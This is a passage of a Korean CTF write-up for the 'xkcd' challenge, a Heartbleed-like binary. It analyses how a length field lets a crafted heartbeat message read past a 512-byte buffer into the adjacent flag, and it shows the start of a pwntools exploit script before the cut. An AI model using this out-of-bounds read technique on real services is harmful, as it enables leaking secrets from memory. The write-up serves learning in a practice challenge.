href=\"#seccomp_filter_mode-%EC%9A%B0%ED%9A%8C\">seccomp_filter_mode 우회</a></p>\n</li>\n<li>\n<p><a href=\"#64bit-rop-1\">64bit ROP</a></p>\n</li>\n<li>\n<p><a href=\"#flag\">flag</a></p>\n</li>\n</ul>\n</div>","excerpt":"취약점 분석 바이너리 개요 보호기법  보호기법 NX PIE RELRO 바이너리 정보 바이너리 분석 메인 출력  메인 출력 부분 바이너리를 동작할 경우  문자열을 출력하면서 사용자의 입력 값을 받기 위해 대기 상태에 있는다. 사용자가 입력을 할 경우 만약 공백이면  문자열을 출력하면서 재 입력을 한며 카운터가 증가하지 않는다. 사용자가 입력을 할 경우 만약 입력 값이존재 한다면 어떤 로직을 바탕으로 검증을 하여 틀리게 되면  문자열을 출력하면서 카운터가 증가 한다. system call 추적  strace system call을 추적한 결과  함수가 ‘/home/ctf/flag’ 파일의 상태 여부와  함수를 바탕으로 읽기 전용으로 데이터를 읽어오는 것을 확인할 수 있다. 밑 분을 잘 보면  함수의 인자로  을 전달하여 seccom 보호 기법을 사용하는 것을 확인할 수 있으며  모드를 사용하여 블랙리스트 기반으로 접근제어를 하고 있다. SECCOMP_MODE_FILTER LIST da…","frontmatter":{"date":"September 18, 2020","title":"Midnight sun 2019 gissa2 취약점 분석","categories":"CTF","author":"Zer0Luck","emoji":"🥙"},"fields":{"slug":"/midnightsun_gissa2_ctf_writeup/"}},"next":{"id":"4f92bcc5-6f91-5e27-8ff5-b9b3879be3ae","html":"<h1 id=\"취약점-분석\" style=\"position:relative;\"><a href=\"#%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D\" aria-label=\"취약점 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>취약점 분석</h1>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 16.11111111111111%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAlElEQVQI1z3I4Q6CIBRAYV8ES0i5iAKyZXpVxHSzzPUGvf9rNHJrOz++nWheP8N9R783buv8juOrddutf7TuqazLNea6EyVK0wcoFApL66BohMYIx7ebl8kvy7ziONmmU7aG0ghV8ULTTCQZJCkkAeIcAGH+TqSsr66tlrI2RqaCME4oJzQjlMeMxwxOF4gZHDj6zy9QXiFQXvghXAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./0.png\"\n        title=\"./0.png\"\n        src=\"/static/284023c502fc60db87e32cf7d9b3a3b3/37523/0.png\"\n        srcset=\"/static/284023c502fc60db87e32cf7d9b3a3b3/e9ff0/0.png 180w,\n/static/284023c502fc60db87e32cf7d9b3a3b3/f21e7/0.png 360w,\n/static/284023c502fc60db87e32cf7d9b3a3b3/37523/0.png 720w,\n/static/284023c502fc60db87e32cf7d9b3a3b3/218a4/0.png 1052w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>기타 정보</p>\n<ul>\n<li>statically linked, 64 bit</li>\n<li>Heartbeat packet</li>\n</ul>\n<h2 id=\"보호기법\" style=\"position:relative;\"><a href=\"#%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95\" aria-label=\"보호기법 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>보호기법</h2>\n<ul>\n<li>No RELRO</li>\n<li>No Canary found</li>\n<li>NX enabled</li>\n<li>No PIE</li>\n</ul>\n<h2 id=\"바이너리-분석\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%B6%84%EC%84%9D\" aria-label=\"바이너리 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 분석</h2>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">root@e5e68faa5052<span class=\"token operator\">:</span><span class=\"token operator\">/</span>home<span class=\"token operator\">/</span>Zer0Luck<span class=\"token operator\">/</span>challenges<span class=\"token operator\">/</span>xkcd# <span class=\"token punctuation\">.</span><span class=\"token operator\">/</span>xkcd \nCould not open the flag<span class=\"token punctuation\">.</span>\n\n<span class=\"token operator\">-></span> 현재 디렉토리에 flag 파일을 생성한 후에 분석을 시도하자</code></pre></div>\n<h2 id=\"main-함수-분석\" style=\"position:relative;\"><a href=\"#main-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\" aria-label=\"main 함수 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>main 함수 분석</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 468px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 126.11111111111113%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAIAAAC+dZmEAAAACXBIWXMAAAsTAAALEwEAmpwYAAADB0lEQVQ4y4VU2YobSwz1/39OPiHkNTE3kMy120vbvVV1d+27art4bGaIM7kRokCgwzlSSdpstxxj1zRwOEA/6cM0oEX3nWUsSJmEiL87YwCQv3xhm67T3lfOozY5p1py9T4CpFJqjLl+ZDmXWuu3b3Izjv50Mm2rTydPaTQWpPBS2hiLUrGU8pp/f2spN0/pFn79KjcIOWMCQA4hALiUACBJUY0qOecUgzVRiOpctjbfOd+ZKQXvC2MRIdH3K8bi0o8vR3xsyf7Ed0fSduKK9KGf8CohpFofzHdw9D4Og7xePULZmiKd7FXLHF01mxVljioQWCOskbXxmTnGOo76eqWMWUoN40xpRZjoRtcNAU3GA0hrIpTnhlEKSnlrQamKcXa2hBSYpcTSSc7CKil9SjmXkkt+BhMCpZb2XM8d26PD9+u/R9ztlwPSKABo0NSRWc+TGqW24almQiClTGnFOCyLZcxx7qR05fEv7/YW/MIcQtEa1jUOgxtHHVIQVjqXXvMemPLhkFAKzlWM4XoNbRuGAYx5wP5k72DGQIh6PKam8btdHAbPueHcrasWolKalQw+BeXsx7JTqkKEabLDoC8XxiSb6aqVl7IyloXwkKL14Y55lg1QxzH1vZsmf2mBi/inlfhA9rrW7bY0TcY4TpNRKtSa7z0qpfzS8d+ZjYlSBmNuoy94paQsc5WiQPjbShICzoGU2bhAtMRUY2InYjFTRFPldE7l/8C11vZcD2fe9G2HMJrZKphNmgdGDQ+v/OVtpWt5kp3Wtcw4s7UaC1QJpiX3AiD9RTbGXoiyEECLnxanvFkcJo6sdl0Fd+BDCj7d3phjzNFGGyC+naFwaeu5W4/o8qPbt3hsSUctizEhPc0GUUcXsyxmYZZxx3vZU6Ee4PbsCc1okSvTlNmFKqmtj8EEl3P2Lt8aVu61PuY8xfsNE5v9zhHqWJgl0Fi1KTQUabNkEcfqtIbbTf2o5u1Wbj5/XrZb9v0f9fJT73f27s3ONXu725mmMbvds7+86MvFffo0/wfo2pPCnjlxWgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./1.png\"\n        title=\"./1.png\"\n        src=\"/static/f3572d894a13fd37dbfff522cf8d4e93/90372/1.png\"\n        srcset=\"/static/f3572d894a13fd37dbfff522cf8d4e93/e9ff0/1.png 180w,\n/static/f3572d894a13fd37dbfff522cf8d4e93/f21e7/1.png 360w,\n/static/f3572d894a13fd37dbfff522cf8d4e93/90372/1.png 468w\"\n        sizes=\"(max-width: 468px) 100vw, 468px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<ul>\n<li>flag 파일의 내용을 읽어와 flag 변수에 집어넣는 것을 확인할 수 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 606px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 24.444444444444443%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2klEQVQY03WMwY6CMBRF+f+vmaWJOgsZYhCTJkR2IyI0xYqlgAxQ+96rIZrMYjI3Z3PPTa7HWL3byc1GhKFMEp2mXV0/ug5KMR4zfSqaovipbpPWUNddUXxwbqSEsrTXq/U4zy8XluehEKxpztYiETnnjIFxtPhucxBhHIUxv8bL86MQUZYFnEdKpYgOYB61npQa+v4xTYBIADNEjogQ33hV9a11JKWv1H4YTs6513Hfm7adiAAR3T/xVqtkvf5aLD6Xy8D3kzi+x/H9cOi3WxUEtyjSjLUv+ZcnxJsUYnK/7U8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./2.png\"\n        title=\"./2.png\"\n        src=\"/static/c7e0df71fb22c6468f806646d2a22537/4d4a2/2.png\"\n        srcset=\"/static/c7e0df71fb22c6468f806646d2a22537/e9ff0/2.png 180w,\n/static/c7e0df71fb22c6468f806646d2a22537/f21e7/2.png 360w,\n/static/c7e0df71fb22c6468f806646d2a22537/4d4a2/2.png 606w\"\n        sizes=\"(max-width: 606px) 100vw, 606px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">flag 전역 변수</code></pre></div>\n<ul>\n<li>flag 변수는 .bss 섹션에 존재하며 전역 변수로 확인된다.</li>\n<li>사용자의 입력 값을 토대로 특정 조건을 수행하게 되는데 <code class=\"language-text\">strtok</code> 함수를 바탕으로 문자 단위로 짤라 해당 문자열이 포함되는 지를 확인하고 있다.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">SERVER<span class=\"token punctuation\">,</span> ARE YOU STILL THERE<span class=\"token operator\">?</span>\n\nIF SO<span class=\"token punctuation\">,</span> REPLY \"</code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 296px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 23.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5ElEQVQY03WPTWvCQBiE/f8/RPAgouDJY6ARNqmxFsMeFDWhfsRkk+y7m+1+vWUplPbQYY7zzDCj40Hu95Cm3XbLdzueJIIQuV7zKHpkWff23r5sivj1I8vaPIcfUwpp2o8Q0XmvFEppOTenk7lczPlsKL0/n9JZZ1AYq7p2wL8SwgVYa8e5b1tT1/J2Y9drNQyfVaXKUve9Du02pK313zbGe4+MmQB774VAzh2ALUssCqTUMmabRiml8R+F5eNB5jkslzAei/kcFot6MumnU5jNIIoYITyOuySB1epBSEOp+P35C3BhExF8GT7yAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./3.png\"\n        title=\"./3.png\"\n        src=\"/static/6bb772078781b14a91141d3726fe538e/b1a44/3.png\"\n        srcset=\"/static/6bb772078781b14a91141d3726fe538e/e9ff0/3.png 180w,\n/static/6bb772078781b14a91141d3726fe538e/b1a44/3.png 296w\"\n        sizes=\"(max-width: 296px) 100vw, 296px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h2 id=\"strtok\" style=\"position:relative;\"><a href=\"#strtok\" aria-label=\"strtok permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>strtok</h2>\n<ul>\n<li>그후 해당 부분에서 <code class=\"language-text\">\"</code> 까지 잘라 해당 문자열의 값을 <code class=\"language-text\">globals</code> 전역 변수에 memcpy를 하는 것을 확인할 수 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 597px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 12.222222222222221%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAIAAADXZGvcAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAdklEQVQI1xXCWw6CMBAFUPa/B92FayB+EPiAKIkBNUErD1PKTTN12hnDycny/FuWtqps2/rr5fR4Hub5aMx5GAggwAI/IDoXx3G/LHGaGJCicFld37vu1ve9MR/nXkRvVQ0hAYFZmDUlERFmWde990KUVLVptj/N+27Tu6wEfQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./4.png\"\n        title=\"./4.png\"\n        src=\"/static/2ce07033ee502d0147643f29bd5e3fa5/17602/4.png\"\n        srcset=\"/static/2ce07033ee502d0147643f29bd5e3fa5/e9ff0/4.png 180w,\n/static/2ce07033ee502d0147643f29bd5e3fa5/f21e7/4.png 360w,\n/static/2ce07033ee502d0147643f29bd5e3fa5/17602/4.png 597w\"\n        sizes=\"(max-width: 597px) 100vw, 597px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h2 id=\"globals-전역-변수\" style=\"position:relative;\"><a href=\"#globals-%EC%A0%84%EC%97%AD-%EB%B3%80%EC%88%98\" aria-label=\"globals 전역 변수 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>globals 전역 변수</h2>\n<ul>\n<li><code class=\"language-text\">globals</code> 전역 변수는 총 512바이트이며, 같은 .bss 영역이므로 앞에서 선언된 flag와는 0x200차이가 나는 것을 확인할 수있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 616px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 22.22222222222222%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAwElEQVQI102LMXLCMBBFff8bpM8NcgNXoXAKm86BEYMRtsGSDJJ2tLvWMhpS5M+b37z/q7oe2/a+35vj8a7U1+Xyebt9nE6/Wm/LMizL2YfNe3aOjWFrC8aw9zyOqdrtVN+fD4frNJkYO8RBRAASEsm/AMi6SoxCJG/jPVVd12j9o3Vr7RCC5FyEtTBap2cHEYk2kXJI6e+JWDaPB1VNUytVK/U9Tb1zgMjM+flMIRAAE+U365rnuXSMOYTMnK3FF9mX4R6RuuOwAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./5.png\"\n        title=\"./5.png\"\n        src=\"/static/a66fd776c64ddf1016048ee1ef70b624/40040/5.png\"\n        srcset=\"/static/a66fd776c64ddf1016048ee1ef70b624/e9ff0/5.png 180w,\n/static/a66fd776c64ddf1016048ee1ef70b624/f21e7/5.png 360w,\n/static/a66fd776c64ddf1016048ee1ef70b624/40040/5.png 616w\"\n        sizes=\"(max-width: 616px) 100vw, 616px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>0x200 바이트 차이</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 33.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA6UlEQVQY03WOTYuDMBCG/f+/p/S41I9sj0tPBQ8tVYvGRJOYGM3ExGIFcZftw8sc3pkHJjgcouMRpWnZdY5ze7t1WaZ+LtXl+sREsxba1jAGnNstjFkpp/tdBwhdz+eUUjG/YWyQ0hSFaJjWGpybAIxz07zD+2U2DQRx/BXHYVVVa0tIL4TJixE3g7F2L2xxbmkIWeQIoe+6JusRxorzsciHR0k73b81P/9mLSiFIEmiJEEY43VR14qQIc+VkKD1/C9/5GSTCekZH/NMlk8lxGitBYCPchie9jKlPalNSUWjWgPgvXef334B15WMo4wkAEoAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./6.png\"\n        title=\"./6.png\"\n        src=\"/static/cd58e795091c689ea83dab4ecabbf93a/37523/6.png\"\n        srcset=\"/static/cd58e795091c689ea83dab4ecabbf93a/e9ff0/6.png 180w,\n/static/cd58e795091c689ea83dab4ecabbf93a/f21e7/6.png 360w,\n/static/cd58e795091c689ea83dab4ecabbf93a/37523/6.png 720w,\n/static/cd58e795091c689ea83dab4ecabbf93a/0955e/6.png 901w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h2 id=\"비교\" style=\"position:relative;\"><a href=\"#%EB%B9%84%EA%B5%90\" aria-label=\"비교 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>비교</h2>\n<ul>\n<li>strtok <code class=\"language-text\">(</code> <code class=\"language-text\">)</code> 한 내부의 특 정 정수 값을 바탕으로 <code class=\"language-text\">__isoc99_sscanf</code> 함수의 인자로 쓰이는 것을 확인할 수 있다.</li>\n<li>입력 받은후 <code class=\"language-text\">globals</code> 전역 변수의 길이 값과 <code class=\"language-text\">()</code> 내부에있는 값을 비교하여  <code class=\"language-text\">globals</code> 의 길이가 작을 경우 <code class=\"language-text\">()</code> 입력한 길이 만큼 출력을 한다.</li>\n<li>만약 더 큰 값을 입력했다면 <code class=\"language-text\">Nice Try</code>를 출력한다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 463px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 24.444444444444443%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAABBUlEQVQY0zXN7U7CMBQA0L2JmIFssK7tXXt717IBlX2wScBINNEoGuZHou//28TE/yc5Qb392d99b3cf3f6zP3y1N++rzXPVnZt+aPrhujr55tU3p7obqvZtVb20/RlwX/pHck9B3T2Ufg0md2tPRamtQ7eQSOu61tap3Krcabso/UaiEdpkhsIovryajCMIfH2vyM0FSrRcUaqIK4oYmMWKAc6FZoApmIyKaSKo8IlEoW0YzS7GEByOA1oXMVBUSLRC51LbmKu89FwRA+QZ8YzQLeMUqPDpXxBGs9FEBrfHc9XtfN2nGf1rE6eAtkyEnvGMSWSAYNw0Edou50KxzIRRPJrAL24URLi3b+FYAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./7.png\"\n        title=\"./7.png\"\n        src=\"/static/b3fb4fb36506bf325dc0575af09e8cee/71ce0/7.png\"\n        srcset=\"/static/b3fb4fb36506bf325dc0575af09e8cee/e9ff0/7.png 180w,\n/static/b3fb4fb36506bf325dc0575af09e8cee/f21e7/7.png 360w,\n/static/b3fb4fb36506bf325dc0575af09e8cee/71ce0/7.png 463w\"\n        sizes=\"(max-width: 463px) 100vw, 463px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h1 id=\"해결-방안\" style=\"position:relative;\"><a href=\"#%ED%95%B4%EA%B2%B0-%EB%B0%A9%EC%95%88\" aria-label=\"해결 방안 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>해결 방안</h1>\n<h2 id=\"공격\" style=\"position:relative;\"><a href=\"#%EA%B3%B5%EA%B2%A9\" aria-label=\"공격 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>공격</h2>\n<ul>\n<li>어떻게 해당 flag 문자열 값을 읽어올 수 있을까?</li>\n<li><code class=\"language-text\">globals</code>, <code class=\"language-text\">flag</code> 전역 변수는 같은 .bss 섹션에 존재하며 <code class=\"language-text\">globals</code> 변수를 기준으로 0x200 바이트 차이가 난다.</li>\n<li>만약에 사용자가 0x200 바이트 이상의 값을 입력하게 된다면 해당 값은 <code class=\"language-text\">flag</code> 전역 변수와 붙게 될 것이고 널값이 존재 하지 않게되 <code class=\"language-text\">streln</code> 은 해당 길이 검사를 할때 널 값을 확인할 수 없어 <code class=\"language-text\">flag</code> 변수의 널 까지 읽게 되어 <code class=\"language-text\">globals+flag</code> 길이를 측적하게 될 것이다.</li>\n<li>그렇게 되면 <code class=\"language-text\">out-of-bound read</code> 취약점이 발생할 것이다.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\ne <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span><span class=\"token string\">\"./xkcd\"</span><span class=\"token punctuation\">)</span>\nflag <span class=\"token operator\">=</span> <span class=\"token string\">''</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">257</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    p <span class=\"token operator\">=</span> process<span class=\"token punctuation\">(</span><span class=\"token string\">\"./xkcd\"</span><span class=\"token punctuation\">)</span>\n    data <span class=\"token operator\">=</span> <span class=\"token string\">'SERVER, ARE YOU STILL THERE? IF SO, REPLY \"%s\" (%d)'</span><span class=\"token operator\">%</span><span class=\"token 